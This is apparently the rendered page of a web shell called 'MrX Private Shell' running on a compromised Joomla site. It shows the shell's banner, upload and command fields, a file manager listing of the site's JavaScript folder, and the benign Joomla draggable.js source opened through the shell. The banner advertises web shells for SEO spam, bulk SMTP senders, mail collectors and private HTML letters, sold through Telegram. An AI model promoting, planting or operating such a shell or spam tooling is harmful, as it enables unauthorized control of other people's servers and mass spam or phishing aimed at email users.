__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */
// The container where the draggable will be enabled
let url;
let direction;
let isNested;
let dragElementIndex;
let dropElementIndex;
let container = document.querySelector('.js-draggable');
let form;
let formData;
if (container) {
  /** The script expects a form with a class js-form
   *  A table with the tbody with a class js-draggable
   *                         with a data-url with the ajax request end point and
   *                         with a data-direction for asc/desc
   */
  url = container.dataset.url;
  direction = container.dataset.direction;
  isNested = container.dataset.nested;
} else if (Joomla.getOptions('draggable-list')) {
  const options = Joomla.getOptions('draggable-list');
  container = document.querySelector(options.id);
  /**
   * This is here to make the transition to new forms easier.
   */
  if (!container.classList.contains('js-draggable')) {
    container.classList.add('js-draggable');
  }
  ({
    url
  } = options);
  ({
    direction
  } = options);
  isNested = options.nested;
}
if (container) {
  // Get the form
  form = container.closest('form');
  // Get the form data
  formData = new FormData(form);
  formData.delete('task');
  formData.delete('order[]');

  // IOS 10 BUG
  document.addEventListener('touchstart', () => {}, false);
  const getOrderData = (rows, inputRows, dragIndex, dropIndex) => {
    let i;
    const result = [];

    // Element is moved down
    if (dragIndex < dropIndex) {
      rows[dropIndex].value = rows[dropIndex - 1].value;
      for (i = dragIndex; i < dropIndex; i += 1) {
        if (direction === 'asc') {
          rows[i].value = parseInt(rows[i].value, 10) - 1;
        } else {
          rows[i].value = parseInt(rows[i].value, 10) + 1;
        }
      }
    } else {
      // Element is moved up
      rows[dropIndex].value = rows[dropIndex + 1].value;
      for (i = dropIndex + 1; i <= dragIndex; i += 1) {
        if (direction === 'asc') {
          rows[i].value = parseInt(rows[i].value, 10) + 1;
        } else {
          rows[i].value = parseInt(rows[i].value, 10) - 1;
        }
      }
    }
    for (i = 0; i < rows.length - 1; i += 1) {
      result.push(`order[]=${encodeURIComponent(rows[i].value)}`);
      result.push(`cid[]=${encodeURIComponent(inputRows[i].value)}`);
    }
    return result;
  };
  const rearrangeChildren = $parent => {
    if (!$parent.dataset.itemId) {
      return;
    }
    const parentId = $parent.dataset.itemId;
    // Get children list. Each child row should have
    // an attribute data-parents=" 1 2 3" where the number is id of parent
    const $children = container.querySelectorAll(`tr[data-parents~="${parentId}"]`);
    if ($children.length) {
      $parent.after(...$children);
    }
  };
  const saveTheOrder = el => {
    let orderSelector;
    let inputSelector;
    let rowSelector;
    const groupId = el.dataset.draggableGroup;
    if (groupId) {
      rowSelector = `tr[data-draggable-group="${groupId}"]`;
      orderSelector = `[data-draggable-group="${groupId}"] [name="order[]"]`;
      inputSelector = `[data-draggable-group="${groupId}"] [name="cid[]"]`;
    } else {
      rowSelector = 'tr';
      orderSelector = '[name="order[]"]';
      inputSelector = '[name="cid[]"]';
    }
    const rowElements = [].slice.call(container.querySelectorAll(rowSelector));
    const rows = [].slice.call(container.querySelectorAll(orderSelector));
    const inputRows = [].slice.call(container.querySelectorAll(inputSelector));
    dropElementIndex = rowElements.indexOf(el);
    if (url) {
      // Detach task field if exists
      const task = document.querySelector('[name="task"]');

      // Detach task field if exists
      if (task) {
        task.setAttribute('name', 'some__Temporary__Name__');
      }

      // Prepare the options
      const ajaxOptions = {
        url,
        method: 'POST',
        data: `${new URLSearchParams(formData).toString()}&${getOrderData(rows, inputRows, dragElementIndex, dropElementIndex).join('&')}`,
        perform: true
      };
      Joomla.request(ajaxOptions);

      // Re-Append original task field
      if (task) {
        task.setAttribute('name', 'task');
      }
    }

    // Update positions for a children of the moved item
    rearrangeChildren(el);
  };

  // eslint-disable-next-line no-undef
  dragula([container], {
    // Y axis is considered when determining where an element would be dropped
    direction: 'vertical',
    // elements are moved by default, not copied
    copy: false,
    // elements in copy-source containers can be reordered
    // copySortSource: true,
    // spilling will put the element back where it was dragged from, if this is true
    revertOnSpill: true,
    // spilling will `.remove` the element, if this is true
    // removeOnSpill: false,

    accepts(el, target, source, sibling) {
      if (isNested) {
        if (sibling !== null) {
          return sibling.dataset.draggableGroup && sibling.dataset.draggableGroup === el.dataset.draggableGroup;
        }
        return sibling === null || sibling && sibling.tagName.toLowerCase() === 'tr';
      }
      return sibling === null || sibling && sibling.tagName.toLowerCase() === 'tr';
    },
    mirrorContainer: container
  }).on('drag', el => {
    let rowSelector;
    const groupId = el.dataset.draggableGroup;
    if (groupId) {
      rowSelector = `tr[data-draggable-group="${groupId}"]`;
    } else {
      rowSelector = 'tr';
    }
    const rowElements = [].slice.call(container.querySelectorAll(rowSelector));
    dragElementIndex = rowElements.indexOf(el);
  }).on('drop', el => {
    saveTheOrder(el);
  });
}

Filemanager

Name Type Size Permission Actions
editors Folder 0775
fields Folder 0775
core.js File 25.96 KB 0664
core.min.js File 7.58 KB 0664
core.min.js.gz File 3.14 KB 0664
draggable.js File 5.66 KB 0664
draggable.min.js File 2.54 KB 0664
draggable.min.js.gz File 1.05 KB 0664
highlight.js File 61.6 KB 0664
highlight.min.js File 15.57 KB 0664
highlight.min.js.gz File 5.43 KB 0664
inlinehelp.js File 2.18 KB 0664
inlinehelp.min.js File 805 B 0664
inlinehelp.min.js.gz File 486 B 0664
joomla-core-loader.js File 4.7 KB 0664
joomla-core-loader.min.js File 3.81 KB 0664
joomla-core-loader.min.js.gz File 1.64 KB 0664
joomla-dialog-autocreate.js File 2.9 KB 0664
joomla-dialog-autocreate.min.js File 1.22 KB 0664
joomla-dialog-autocreate.min.js.gz File 664 B 0664
joomla-dialog.js File 17.7 KB 0664
joomla-dialog.min.js File 8.29 KB 0664
joomla-dialog.min.js.gz File 2.43 KB 0664
joomla-hidden-mail.js File 2.26 KB 0664
joomla-hidden-mail.min.js File 1.53 KB 0664
joomla-hidden-mail.min.js.gz File 721 B 0664
joomla-toolbar-button.js File 3.56 KB 0664
joomla-toolbar-button.min.js File 2.08 KB 0664
joomla-toolbar-button.min.js.gz File 868 B 0664
keepalive.js File 1 KB 0664
keepalive.min.js File 741 B 0664
keepalive.min.js.gz File 430 B 0664
list-view.js File 2.75 KB 0664
list-view.min.js File 1.59 KB 0664
list-view.min.js.gz File 555 B 0664
messages.js File 10.19 KB 0664
messages.min.js File 5.41 KB 0664
messages.min.js.gz File 1.77 KB 0664
modal-content-select.js File 1.14 KB 0664
modal-content-select.min.js File 781 B 0664
modal-content-select.min.js.gz File 497 B 0664
multiselect.js File 3.77 KB 0664
multiselect.min.js File 1.86 KB 0664
multiselect.min.js.gz File 917 B 0664
searchtools.js File 18.69 KB 0664
searchtools.min.js File 10.4 KB 0664
searchtools.min.js.gz File 2.56 KB 0664
showon.js File 9.91 KB 0664
showon.min.js File 3.55 KB 0664
showon.min.js.gz File 1.39 KB 0664
table-columns.js File 6 KB 0664
table-columns.min.js File 3.39 KB 0664
table-columns.min.js.gz File 1.28 KB 0664
treeselectmenu.js File 5.74 KB 0664
treeselectmenu.min.js File 4.07 KB 0664
treeselectmenu.min.js.gz File 976 B 0664
Filemanager